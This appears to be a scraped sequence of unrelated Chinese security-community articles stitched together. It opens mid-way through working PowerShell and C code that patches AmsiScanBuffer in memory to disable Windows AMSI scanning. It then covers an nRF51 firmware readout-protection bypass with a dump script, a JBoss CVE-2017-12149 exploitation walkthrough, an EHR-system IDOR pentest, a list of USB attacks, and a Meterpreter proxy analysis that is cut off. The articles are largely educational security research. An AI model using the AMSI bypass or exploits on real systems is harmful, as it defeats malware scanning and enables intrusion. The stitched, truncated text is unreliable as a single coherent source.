$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
$hModule = $LoadLibrary.Invoke("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
但是这个脚本到现在已经不行了，而且defender是直接报毒的，我在想是不是可以hook一下，改下值就行了。
### 内存补丁
>
> 我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的，而内存补丁是一种较为便捷的技术，我们可以对这个函数进行修补，使其丧失判断能力，这样我们就能自由执行任意powershell脚本，当然前提是脚本文件没有被杀软干掉。
上面的方式通过将AmsiScanBuffer的第三个参数长度改为0，我感觉也可以归为内存补丁的一种。
通过上面对AmsiScanBuffer的介绍，应该知道了该函数返回HRESULT类型值，这是一个整数值，用来表示操作是否成功。如果该函数成功，那么就应当返回S_OK（0x00000000），否则应该返回HRESULT错误代码。
AmsiScanBuffer最后一个参数为AMSI_RESULT
结构为
typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED} ;
大概就是通过这个结构体去返回是否认定被检测的内容是否的恶意的，数值越大风险越高。
方法应该挺多的，可以注入一个dll到powershell这样去hook或者什么操作，也可以直接起一个powershell进程然后获取`AmsiScanBuffer`的函数地址，让他直接函数返回啊这些操作，这个方法的重点应该是免杀性。
偷个懒：<https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi>
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
0xc3的硬编码对应的汇编是ret，也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。
还有一些如com劫持，NULL字符绕过的办法已经失效了，这里作为初探就不去研究了。
## 参考
《Bypass AMSI的前世今生》by LN
<https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi>
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
前一段有个灵车pm2.5检测器，淘宝只要12块钱。搜了下大概是个放口袋里用蓝牙和手机连接，检测PM2.5浓度的。
搜到了前几年的新闻 -> [传送门](http://3g.donews.com/News/donews_detail/2976798.html)
然而买回来才发现，安卓客户端下载链接打不开。估计是厂子跑路了，不然怎么卖这么便宜。于是想自己日了玩玩
## 0x0 拆了玩玩
里面很简单一个主板一个PM2.5检测元件一个电池
单片机是nRF51288，一个支持蓝牙的片子
照着数据手册量了一圈发现这里是SWD调试口
从左到右依次是SWCLK,SWIO,GND,?
于是，openocd启动！
然而事情并没有这么简单...
## 0x1 初次尝试
因为没有客户端，为了能正常用它的PM2.5功能，最简单的方法就是逆一下它的蓝牙通信协议，写个土制客户端。
swd排针是个1.54间距的。。。飞线到洞洞板再插到树莓派上。openocd可以用树莓派的gpio模拟swd或者jtag，不过坑不少。
焊的太丑就不给拍清楚了QAQ，盲猜第四个脚是vcc3.3，顺手接上
openocd的配置文件只有树莓派1和2的，用了cpu频率算一个swd时钟频率，我这个pi3要改一些地方，配置文件改了改如下
#
# Config for using Raspberry Pi's expansion header
#
# This is best used with a fast enough buffer but also
# is suitable for direct connection if the target voltage
# matches RPi's 3.3V and the cable is short enough.
#
# Do not forget the GND connection, pin 6 of the expansion header.
#
interface bcm2835gpio
bcm2835gpio_peripheral_base 0x3F000000
# Transition delay calculation: SPEED_COEFF/khz - SPEED_OFFSET
# These depend on system clock, calibrated for stock 700MHz
# bcm2835gpio_speed SPEED_COEFF SPEED_OFFSET
#bcm2835gpio_speed_coeffs 146203 36
bcm2835gpio_speed_coeffs 194938 48
# Each of the JTAG lines need a gpio number set: tck tms tdi tdo
# Header pin numbers: 23 22 19 21
# bcm2835gpio_jtag_nums 11 25 10 9
# or if you have both connected,
# reset_config trst_and_srst srst_push_pull
reset_config none separate
# Each of the SWD lines need a gpio number set: swclk swdio
# Header pin numbers: 22 18
bcm2835gpio_swd_nums 25 24
# If you define trst or srst, use appropriate reset_config
# Header pin numbers: TRST - 26, SRST - 18
# bcm2835gpio_trst_num 7
# reset_config trst_only
bcm2835gpio_srst_num 18
#reset_config srst_only srst_push_pull
# or if you have both connected,
# reset_config trst_and_srst srst_push_pull
#
# script for Nordic nRF51 series, a Cortex-M0 chip
#
transport select swd
source [find target/swj-dp.tcl]
if { [info exists CHIPNAME] } {
set _CHIPNAME $CHIPNAME
} else {
set _CHIPNAME nrf51
}
if { [info exists ENDIAN] } {
set _ENDIAN $ENDIAN
} else {
set _ENDIAN little
}
# Work-area is a space in RAM used for flash programming
# By default use 16kB
if { [info exists WORKAREASIZE] } {
set _WORKAREASIZE $WORKAREASIZE
} else {
set _WORKAREASIZE 0x4000
}
if { [info exists CPUTAPID] } {
set _CPUTAPID $CPUTAPID
} else {
set _CPUTAPID 0x0bb11477
}
swj_newdap $_CHIPNAME cpu -expected-id $_CPUTAPID -irlen 4
set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME cortex_m -chain-position $_TARGETNAME
$_TARGETNAME configure -work-area-phys 0x20000000 -work-area-size $_WORKAREASIZE -work-area-backup 0
if {![using_hla]} {
# The chip supports standard ARM/Cortex-M0 SYSRESETREQ signal
cortex_m reset_config sysresetreq
}
flash bank $_CHIPNAME.flash nrf51 0x00000000 0 1 1 $_TARGETNAME
flash bank $_CHIPNAME.uicr nrf51 0x10001000 0 1 1 $_TARGETNAME
#
# The chip should start up from internal 16Mhz RC, so setting adapter
# clock to 1Mhz should be OK
#
adapter_khz 1000
proc enable_all_ram {} {
# nRF51822 Product Anomaly Notice (PAN) #16 explains that not all RAM banks
# are reliably enabled after reset on some revisions (contrary to spec.) So after
# resetting we enable all banks via the RAMON register
mww 0x40000524 0xF
}
$_TARGETNAME configure -event reset-end { enable_all_ram }
init
targets
主要改了以下几个地方
* `-irlen 4` // nrf51里面是个32位M0核，指令长度4字节
* `bcm2835gpio_speed_coeffs 194938 48` // 树莓派3的cpu频率和2不一样，原来是拿2的配置文件改的
* `reset_config none separate` // 没接reset脚，这里让openocd不要管rst信号，不然后面reset会卡住然后超时
* `transport select swd` // 神秘问题，不指定swd会默认走jtag然后不让改
然后板子通电，`openocd -f xxx.cfg`不出意外就可以看到芯片了
nc连上127.0.0.1:4444进openocd终端，试一下就可以正常调试了
然而问题出在这里
读出来是全0
pc指向的代码也读不出来
查了下手册是芯片的特性，Readback protection
CR0标示代码地址不允许CR1部分代码或者调试口访问，该保护特性通过RBPCONF寄存器配置
RBPCONF属于User Information Configuration Registers
(UICR)，这组寄存器配置了芯片的一些运行信息如bootloader地址，代码段长度等等
UICR必须写NVMC(Non-Volatile Memory
Controller)的ERASEALL寄存器才能改，nvmc用来控制内存地址到flash的映射
艹？必须要全擦除才行，等于UICR不能改，改了全部木大
是芯片的安全特性，不允许随便读写flash
## 0x2 利用pc读固件
看到了一篇文章 -> [传送门](https://www.pentestpartners.com/security-blog/nrf51822-code-readout-protection-bypass-a-how-to/)
大概思路是
1. arm thumb指令长度是16bit，想要32bit寻址就只能通过寄存器寻址，不能直接在指令里面塞立即数
2. readback保护是通过一个硬件模块实现的，只保护内存操作
也就是说可以随意操作寄存器的
改之前
改之后
1. 那么可以利用这句`LDR R3, [R3]`，R3可以是任意寄存器。只要猜出某个指令是直接用寄存器寻址，就操控pc一直跑那条指令，控制存地址的寄存器为要读取的内存地址
step过了几下，感觉我这个的R4拿来寻址了
应该是0x6d4这个地址上的指令完成的寻址
把pc改过去试试，读一下RBPCONF配置
查了下手册在0x10001004上
成功读出来是0xffff0000，保护全开
那么想要dump固件只需要重复执行这个过程把0x0-0x40000的数据读出来就行
存在flash上的代码是直接映射到0x0的
## 0x3 dump固件
于是搓个脚本
from pwn import *
import re
p = remote("127.0.0.1", "4444")
p.recvuntil(">")
p.write("reset halt\n")
p.recvuntil(">")
with open("firmware.bin", "wb") as f:
for addr in range(0, 0x40000, 4):
p.write("reg pc 0x6d4\n")
p.recvuntil(">")
p.write("reg r4 " + hex(addr) + "\n")
p.recvuntil(">")
p.write("step\n")
p.recvuntil(">")
p.write("reg r4\n")
ret = p.recvuntil(">")
d = re.search('0x[0-9a-fA-F]{8}', ret.decode('utf-8'))[0]
f.write(p32(int(d, 16)))
if addr % 0x100 == 0:
print("reading:", addr)
跑一下大概半个小时就读出来了，丢进ida看下
果然0x6d4是直接拿R4寻址
于是固件就成功提取了
## 彩蛋
能被轻易完整取下的防拆标
焊线不小心把耳机夹在了中间 | 社区文章 |
## 0x00. 漏洞描述
### 2017年9月14日，国家信息安全漏洞共享平台（CNVD）收录了JBOSS Application
Server反序列化命令执行漏洞（CNVD-2017-33724，对应CVE-2017-12149），远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开，近期被不法分子利用出现大规模攻击尝试的可能性较大。
## 0x01. 漏洞复现
### 1). 环境准备
#### 1\. JBOSS下载地址：<http://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip>
#### 2\. EXP下载地址：<https://github.com/yunxu1/jboss-_CVE-2017-12149>
### 2). 环境搭建
#### 第一步：下载JBOSS环境，并解压
> wget <http://download.jboss.org/jbossas/6.1/jboss-as-> distribution-6.1.0.Final.zip>
#### 第二步：修改配置文件，使网络中的主机都能访问JBOSS
> vim ~/jboss-6.1.0.Final/server/default/deploy/jbossweb.sar/server.xml
#### 第三步：启动JBOSS
> ./jboss-6.1.0.Final/bin/run.sh
#### 第四步：下载EXP
> git clone <https://github.com/yunxu1/jboss-_CVE-2017-12149>
### 3). 信息收集
#### 第一步：利用nmap对目标主机进行常用端口扫描
> nmap 192.168.1.111 -A
>
>
#### 第二步：访问目标主机的8080端口，看看能否正常访问
### 4). 漏洞利用
#### 利用刚才下载好的EXP进行漏洞利用，打开jboss反序列化_CVE-2017-12149.jar
## 0x02. 总结
### 行千里路，不如读万卷书... | 社区文章 |
## 1、渗透前言
对EHR系统访问时，首先是需要一个登录的，作为企业员工，大部分系统接入了SSO，该EHR系统为了保证安全性也不例外。因此对该系统的渗透测试基础的前提是————在该系统拥有一个可登录的凭据，但是该凭据并未拥有任何权限。
如下所示，正常的企业员工登录该系统时都是没有访问权限的。
那么对该类系统对其渗透的第一步必定是打开F12观察JS，发现JS目录下仅有6个JS文件
而右击源代码查看的JS里却有几十个chun-xxxxxx.js
随便打开了一个chunk-xxxxxx.js，利用插件发现存在一些路径但是在F12里搜不到，也就意味着这么多个chunk我要一个个打开看，才能够测试得比较仔细。
如下所示：
## 2、packerFuzzer
接口太多了用了，先使用一下packerFuzzer来看看是否有未授权访问
很轻松的收获了两枚任意文件上传漏洞，不过其中一个是放到minio下的，直接下载，而且是springboot的任意文件上传，利用相对局限。
## 3、JS获取
开始对JS进行发现
这么多chunk-xxx.js，直接在首页使用插件来提取了一批路径，但是众所周知，该插件提取的路径其实并是完整的。
一个简单的例子如下，这个路径就没被正则匹配到，想要提取完整的还得进入一个个js里查看。
用packerFuzzer里存储的db直接拿到所有的JS的路径，当然packerfuzzer也会自动下载文本。
只能一个个对chunk-xxx.js文件进行发现，但是js文件又太多了，足足有90多个，因此写了一个简单的python脚本批量提取了一下路径
import json
import re
import requests
import sys
import os
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"}
fileurl=sys.argv[1]
filemkdir=fileurl.split('_')[0]
if not os.path.exists(filemkdir):
os.makedirs(filemkdir)
# 下载chunk.js
# with open (str(fileurl)) as furl:
# url=furl.readlines()
# print(str(url)+"---is---downloading")
# for url in url:
# url=url.strip('\n')
# file=url.split('/')[-1]
# resp = requests.get(url)
# html = resp.text
# with open ("./"+filemkdir+"/"+file,"a",encoding="utf-8") as f1:
# f1.write(html)
#get path + 路径名称
paths=[]
for dirpath, dirnames, filenames in os.walk('./'+filemkdir):
for file in filenames:
with open("./"+filemkdir+"/"+file,"r",encoding='gb18030', errors='ignore') as f2:
try:
line=f2.readlines()
for line in line:
line=line.strip('\n').strip('\t')
#print(line)
p = re.findall('''(['"]\/[^][^>< \)\(\{\}]*?['"])''',line)
#print(p)
if p != None:
#print(p)
for path in p:
path=path.replace(':"',"").replace('"',"")
paths.append(file+"---"+path)
except Exception as e:
print(e)
for var in sorted(set(paths)):
with open (fileurl+'_path.txt',"a+",encoding='gb18030', errors='ignore') as paths:
paths.write(var+'\n')
效果大概是这样，再稍微处理一下，去除一些重复的和一看就是无用的接口后，直接丢进去Burp里跑一下
最后有300多个接口，直接丢到Burp里跑就行了 post请求和get请求
结果绝大部分是服务异常，可能是需要某些参数来触发
几个返回大量数据的都是如下的资料，比如公司的职位信息，编号等等，没有敏感的个人讯息相关。
之后变换成get请求，发现某些接口直接就返回了大量的数据，如下两个接口，其中一个接口直接返回了当前我自己的信息，而且信息非常的多。根据个人经验，这种返回persion信息的地方常常都有参数可遍历，而默认情况就是返回自身数据。
使用技巧，返回包转请求包
最终定位到了persionId参数为影响数据的参数，可以看到我personID=1 就返回异常，而输入我自己的正确的personID就返回正常。
那么接下来的思路就是寻找这个personId，通过get请求发现某些接口返回的数据和这个personId很像，比如下面的/tree/list
接口里的manager，都是xxx-xxx-xxx格式的，有没有可能这就是同一个数据的不同命名。
带上manager的值去访问，一个严重的越权访问就此得到
## 4、构造接口
发现了一些GET/POST能够直接返回数据的接口，但是其实绝大部分的接口其实还是返回的服务异常，如果直接忽视掉这些肯定会错过很多漏洞。
比如onBoardTab接口，get、post都是返回服务异常。
肯定是缺少了某些参数导致，盲目猜参数是最无效的方法，返回包是json格式，有没有可能我们转为x-www-form-urlencoded解析是存在问题，但是转为json格式就能成功呢？尝试一下
直接提示参数了，这就解决了，发现该接口的返回不一般，直接返回了员工的大量个人信息。
## 5、运气构造接口
之后通过json格式的数据包又批量跑了一下，发现还是有一部分的接口还是存在问题的，没有返回500，而是返回200空数据，那么有可能这些接口可能还是缺少了参数，但是应该不是同一个人写的代码，这一块有可能是@RequestMapping注解不同所导致的问题。
但是我又不想爆破，爆破是最后没办法的办法
于是找了之前的JS想看看是不是JS中有提供一些信息（有时候JS会直接提供参数），可以看到有13个JS文件，一个一个看吧，发现每个JS文件的内容都是不一样的
发现大部分的JS都是没有什么提示的
但是在一些JS里找到了searchParams字符串，这个字符串非常的可疑，很多JS文件里都有这个字符串，那么我们是不是可以批量提取一下这个字符串，然后将其变成参数呢？
匹配的规则就是e.searchParams,"[a-zA-Z_]+"，效果如下
简单处理下
然后再转为json格式，直接返回了数据！！！
之后逐个删除，发现决定该接口的是orgId这个参数。
同样的，我们也可以关注"$route.query.xxxxx"这样的字符串，例如下面两图所示，可能是会是获取参数的有效方式之一。 | 社区文章 |
# 盘点招招毙命的29种USB攻击方式
##### 译文声明
本文是翻译文章，文章原作者 Catalin Cimpanu，文章来源：https://www.bleepingcomputer.com
原文地址：<https://www.bleepingcomputer.com/news/security/heres-a-list-of-29-different-types-of-usb-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
> **以色列本古里安大学的研究人员发现了利用 USB 设备攻陷用户电脑的29种方法。**
研究团队根据攻击的实施方式将这29种利用方法分为了四类：（1）通过重编 USB 设备的内部微控制器实施攻击。设备看似是某种特殊的 USB
设备（如充电器），但事实上执行的是其它操作（如键盘—注入键击）。（2a）通过重编 USB
设备的固件来执行恶意动作（如恶意软件下载、数据渗透等）。（2b）不通过重编USB 设备固件而是通过利用操作系统通常和 USB
协议/标准交互方式中的缺陷。（3）基于 USB 的电力攻击。
## 可重编的微控制器 USB 攻击
（1）Rubber Ducky：发布于2010年的商用键击注入攻击。一旦连接到一台主机计算机，Rubber Ducky
就起到键盘的作用，注入一个预加载键击序列。
（2）PHUKD/URFUKED 攻击平台：类似于 Rubber Ducky，但能导致攻击者注入恶意键击的时间。
（3）USBdriveby：在几秒钟的时间内通过模拟 USB 键盘和鼠标，通过 USB 在未锁定 OS X 主机上快速秘密安装后门和覆盖 DNS 设置。
（4）Evilduino：类似于 PHUKD/URFUKED，但使用的是 Arduino 微控制器而非
Teensy。它也是通过模拟键盘/鼠标起作用，而且能根据预加载脚本将键盘/鼠标的光标动作发送给主机。
（5） 非计划的 USB 信道：它是一个 POC USB 硬件木马，基于非计划的 USB 信道渗透数据（例如使用 USB 扬声器渗透数据）。
（6）TURNIPSCHOOL (COTTONMOUTH-1)：隐藏在 USB 数据线中的一个硬件植入，由美国国安局开发。
（7）经由 USB 大规模存储的 RIT 攻击：一篇研究论文中提到的攻击方法。当 USB 大规模存储设备连接到受害者计算机上时，它更改文件内容。
（8）针对无线 USB 电子狗的攻击：是传奇黑客 Samy Kamkar 在发动的 KeySweeper 攻击中首次探索的一种攻击类型，该工具能从很多微软
RF 无线键盘中秘密记录并解密键击。
（9）默认网关覆盖：通过微控制器欺骗 USB 以太网适配器，覆盖 DHCP 设置并劫持本地流量。
## 恶意重编的 USB 外围固件攻击
（10）基于智能手机的 HID 攻击：一篇研究报告中首次提及这种攻击类型，研究人员创建自定义安卓工具驱动覆写了安卓和 USB
设备交互的方式。该恶意驱动和安卓 USB 工具 API 交互以模拟和手机连接的 USB 键盘和鼠标设备。
（11） DNS 遭经修改的 USB 固件覆盖：研究人员修改了 USB 闪存驱动固件并用它模仿 USB-以太网适配器，随后劫持本地流量。
（12）经修改的 USB 固件模拟键盘：多名研究人员展示了如何投毒 USB 闪存驱动固件，从而劫持键击。
（13）隐藏的分区补丁：研究人员演示了 USB 闪存驱动如何可遭重编从而像普通驱动器那样行动，继而创造出无法遭格式化的隐藏分析，导致数据遭秘密渗透。
（14）密码保护绕过补丁：对 USB 闪存驱动的微小修改能导致攻击者绕过受密码保护的 USB 闪存驱动。
（15）虚拟机器突破：研究人员使用 USB 固件突破虚拟机环境。
（16）引导区病毒：研究人员使用 USB 闪存驱动在计算机启动前实施感染。
（17）iSeeYou：该 POC 程序重编 Apple 内部 iSight 网络摄像头的某个类的固件，导致攻击者能够在未触发 LED
指示灯警告的情况下秘密抓取视频内容。
## 基于未重编 USB 驱动的攻击
（18）CVE-2010-2568：Stuxnet（“震网”）和 Fanny 恶意软件使用的一个 .LNK 利用代码
（19）气隙主机中的 USB 后门：Fanny 恶意软件使用的攻击，由美国国安局“方程式组织”开发。攻击使用 USB
隐藏存储来存储预设命令，从而映射气隙网络中的计算机。网络信息被保存到 USB 闪存驱动的隐藏存储中。
（20） 隐藏在 USB 大规模存储设备中的数据：将恶意软件或被盗数据隐藏在 USB
删除驱动中的多种技术（例如将数据存储在正常分区之外，通过将文件夹图表和名称变为透明而将文件隐藏在一个不可见的文件夹中）。
（21） AutoRun 利用代码：根据主机计算机的配置方式，一些计算机会自动执行位于 USB
设备存储中的预定义文件。属于这种所谓的自动运行的恶意软件构成一类恶意软件。
（22）冷启动攻击：即 RAM 泄露攻击。攻击者能将内存泄露器存储在 USB 闪存驱动中，并通过对 USB 设备的引导从 RAM 中提取剩余数据。
（23） 基于缓冲溢出的攻击：当 USB 设备被插入计算机时，依靠利用操作系统缓冲溢出的多种攻击。由于插入 USB
设备后，操作系统会枚举设备和功能（运行某种预定义操作），因此会出现这种类型的攻击。
（24） 驱动升级：它是一种非常复杂的攻击，依靠获取 VeriSign 3类组织机构证书，并在插入某个 USB
设备时将会被自动传播并安装在用户计算机的驱动提交给微软。这种攻击是有可能实现的，但在实际中难以触发。
（25）设备固件更新：攻击者能够使用设备固件更新（受 USB 标准支持的一种合法进程）将本地合法固件升级为恶意版本。
（26）USB 偷盗：基于数据窃取恶意软件的 USB 删除驱动，由 ESET 公司在最近发现。
（27） 经由 USB 端口攻击智能手机：攻击者能够隐藏并通过 USB 电话充电器传播恶意软件。
（28）USBee 攻击：使 USB 连接器的数据总线发出电磁信号用于渗透数据。
## 电力攻击
（29）USB Killer：通过插入能触发电力超载，从而永久性地毁坏设备。
本古里安大学的研究团队在[去年的 ScienceDirect
期刊上发布了一篇文章](https://www.sciencedirect.com/science/article/pii/S0167404817301578)，详细说明了所有的这些攻击类型。
这项研究的目的是警告用户注意 USB 设备可以多种方式遭滥用，从而感染他们的系统并从受保护的气隙网络中秘密窃取数据。该研究团队建议在安全网络中禁止使用
USB 设备或者至少严格控制对 USB 设备的使用。
## 小编说
What？？？竟然有足足29种USB攻击方法，且招招致命啊。看来以后再有人说“我插U盘拷个东西”的时候要当心了。 | 社区文章 |
# 【技术分享】使用Meterpreter和Windows代理的APT案例分析
|
##### 译文声明
本文是翻译文章，文章来源：medium.com/@br4nsh
原文地址：<https://medium.com/@br4nsh/a-meterpreter-and-windows-proxy-case-4af2b866f4a1>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
几个月之前，我自己开发了一个APT工具，工具的使用场景为企业中的Windows攻击模拟环境，这个环境只能通过代理方式访问互联网。在测试工具时，我发现使用HTTPS协议的Meterpreter载荷工作不正常。说实话，一开始我并不确定这个问题是否与我的APT工具的工作机制有关（将Meterpreter载荷注入内存），还是与其他原因有关。在这个环境中，我的APT工具必须与代理打交道，因此我不得不找到确切原因，再去解决这个问题。
在全面分析整个情况之后，我发现我正在使用的Meterpreter载荷可能无法正常工作。当时我使用的Meterpreter载荷为“windows/meterpreter/reverse_https”，Metasploit的版本为4.12.40-dev。
在讨论技术细节之前，先介绍一下我的测试环境：
1、受害者机器系统及IP地址：Windows 8.1 x64 Enterprise/10.x.x.189；
2、互联网访问方式：通过认证代理访问（设置DHCP选项，并且在IE中勾选“自动检测设置（Automatically detect
settings）”选项）；
3、代理服务器的外部IP地址：190.x.x.x；
4、攻击者主机IP地址：190.y.y.y；
5、Meterpreter载荷：windows/meterpreter/reverse_https。
需要注意的是，“reverse_https”载荷是一个传输器载荷（staged
payload）。也就是说，这是一种“先遣队”类型的载荷，在受害者主机上运行，可以下载真正的Meterpreter
DLL载荷（如metsrv.x86.dll或者metsrv.x64.dll），通过反射注入方式（reflective
injection），将DLL注入到受害者主机内存中。
受害者主机的外部IP如下图所示：
受害者主机的代理配置情况如下图所示（已勾选“自动检测设置”选项）：
“autoprox.exe”工具在受害者主机上的运行结果如下图所示。可以看到，受害者主机通过DHCP（252选项）获取代理配置信息。
从上图可知，对于“www.google.com”来说，主机在访问这个地址必须使用“10.x.x.20:8080”这个代理。如果不使用工具，我们也可以手动下载wpad.dat文件（这个文件位置可通过DHCP的252选项获得），检查其中包含的规则，了解代理的具体使用场景。
请注意：根据我的研究结果，autoprox.exe（pierrelc@microsoft.com写的一款工具）首先会使用Windows
API搜索DHCP提供的代理信息，如果搜索失败，会尝试通过DNS获取代理信息。
**二、具体分析**
在分析这个问题的过程中，我会修改Meterpreter载荷中的几行代码，并在受害者主机上测试运行，因此，我们需要创建一个使用HTTPs协议的meterpreter反弹载荷（windows/meterpreter/reverse_https）的后门程序，或者使用某个Web传输模块。对你而言，选择使用那种方式都可以。
请注意：我们可以使用Shellter以及其他可信的程序（如putty.exe）创建一个简单的后门程序，除此之外，我建议使用Metasploit的Web传输载荷。我们将要修改的是传输体（stage）载荷，而不是传输器（stager）载荷，因此我们只需要创建一个后门程序，就能满足所有实验场景。
接下来，我们在受害者主机上运行后门程序，在攻击者主机上运行Metasploit监听端，看一下执行结果。
如下图所示， MSF handler在攻击者主机的443端口上监听，之后接收到来自于受害者主机的一个连接请求（源端口为18903）：
从上图可知，受害者主机已经连接到攻击者主机上的handler，此时我们应该已经获得了一个Meterpreter
shell。然而，不管我输入什么命令，我都收不到受害者主机的有效回应，然后会话就会被关闭。
当传输器载荷（很小的一段代码）在受害者主机上运行时，它会回连到攻击者主机上的监听端，下载真正的攻击代码（即Meterpreter载荷）并将其注入到内存中，之后再将控制权交给攻击代码。加载成功后Meterpreter载荷会再次连接到攻击者主机上监听端，以便攻击者与受害主机系统进行交互。
到目前为止，我们知道传输器载荷已经成功在受害者主机上运行，能够穿透代理回连到监听端。然而，当传输体载荷注入到受害者主机内存后（如果注入过程有效的话），哪里出了点问题导致传输体载荷不能正常工作。
请注意：为了打消你的顾虑，我检查了整个攻击过程是否受到AV软件的影响，然而这些攻击载荷都不会被AV软件查杀。此外，为了避免网管对HTTPS的监听行为，我手动创建了一个PEM证书，配置监听端使用这个证书。使用浏览器观察手动访问Metasploit监听端时的指纹信息，将这个指纹与刚刚创建的证书的指纹信息进行对比，确保证书在传输过程中没有被替换。排除掉这些可能存在的问题之后，我决定继续在其他地方查找问题的真正原因。
接下来我决定嗅探来自于受害者主机的网络流量，从黑盒测试角度获取更多的信息。
在受害者主机上使用Wireshark抓的包如下图所示：
我们可以从上图中观察到受害者主机（10.x.x.189）与代理服务器（10.x.x.20:8080）之间所建立的TCP连接，受害者主机发送了一个CONNECT方法（第一个报文），请求与攻击者主机（190.x.x.x:443）建立一个安全的（SSL/TLS）通信渠道。此外，我们从第一和第二个数据包中可知，受害者主机的请求中使用了NTLM身份验证（NTLMSSP_AUTH），代理服务器的响应是“连接建立”（HTTP/1.1
200）。之后就是SSL/TLS握手过程。
值得一提的是，上图反应的是第一阶段的发送和接收数据包，也就是传输器载荷执行时的通信数据包。连接建立完毕后，通信两端（即客户端和服务端）之间就会进行典型的SSL/TLS握手过程，建立加密通信信道，之后传输体载荷就会经过加密信道，从攻击者主机发往受害者主机。
现在，我们可以确定Meterpreter在第一阶段的部署过程（即传输器载荷）工作正常，接下来我们需要了解第二阶段的工作过程，也就是传输体载荷和监听端之间的通信过程。为此，我们只需要继续分析Wireshark的抓包结果即可。
传输器载荷和监听端的最后一部分通信数据包如下图所示，在这之后，受害者主机会尝试不经过代理，直接与攻击者主机建立连接：
